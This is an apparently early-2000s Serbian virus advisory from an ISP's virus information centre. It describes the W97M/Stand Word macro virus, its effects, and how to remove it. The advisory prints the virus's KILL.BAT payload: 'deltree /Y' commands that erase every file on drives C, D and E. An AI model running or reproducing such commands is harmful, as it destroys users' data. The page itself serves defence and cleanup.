VIRUS INFO
Naziv virusa: W97M/Stand
Alias: W97M.Akuma.d
Tip: makro
Način širenja: zaraženim Wordovim dokumentima
Veličina:
Destruktivan:
da
Datum aktiviranja: po slučajnom izboru
Otkriven: 22.05.2000.

OBJAŠNJENJE
Kada se zatvori zaraženi dokument na korisnikovom računaru, virus izmeni NORMAL.DOT fajl i kreira fajl C:\ AUTOEXEC.KIL

Prilikom svakog otvaranja novog Wordovog dokumenta ili prilikom otvaranja nekog već postojećeg dokumenta, biće ispisana poruka: 

Killer Queen kills stupid people like you.... 

i virus će pokušati da ugasi Windows. 

Fajl C:\AUTOEXEC.KIL je u stvari sam virusni kod koji kada detektuje datum koji je slučajno odabrao, aktivira se i prikaže sledeću poruku.

Prilikom pritiskanja dugmeta "Close", virus, bez znanja korisnika napravi izmene u C:\ AUTOEXEC.BAT kojim se poziva novokreirani fajl C:\ KILL.BAT.
Sadržaj C:\ KILL.BAT:

deltree /Y e:\* 
deltree /Y d:\* 
deltree /Y c:\* 
rem Created by The Lonely Mad 
rem Hey, looser, now your system, next time I'll KILL YOU.

Prilikom sledećeg startovanja računara C:\AUTOEXEC.BAT će aktivirati fajl C:\KILL.BAT i svi fajlovi koji postoje na particijama C, D i E će biti izbrisani. Korisniku, čak neće biti ni ostavljena mogućnost da na postavljeno pitanja odgovori sa "No."

U virusnom kodu se primećuje i poruka koja nikada neće biti ispisana: 
Crazy Diamond.

REŠENJE
Obrisati fajlove C:\ KILL.BAT i C:\ AUTOEXEC.KIL
U C:\ AUTOEXEC.BAT fajlu treba obrisati red kojim se poziva C:\ KILL.BAT.

 






  Na ovim stranicama ćete uvek biti obavešteni o novim virusima koji se pojavljuju kao i načinom uklanjanja istih sa vašeg računara. Pored virusa, na ovom sajtu možete naći najefektnije načine zaštite od virusa kao i zaštita od upada u vaš računar.  


 

Virus Informacioni Centar je otvoren za sva vaša pitanja, preloge, kao i sugestije u vezi ovog sajta.

Virus Informacioni Centar
Neobee.net ISP
Email : virus@neobee.net

ICQ : 48089085

 
VIrus Informacioni centar
Broj poseta31231 poseta od 23.03.2001.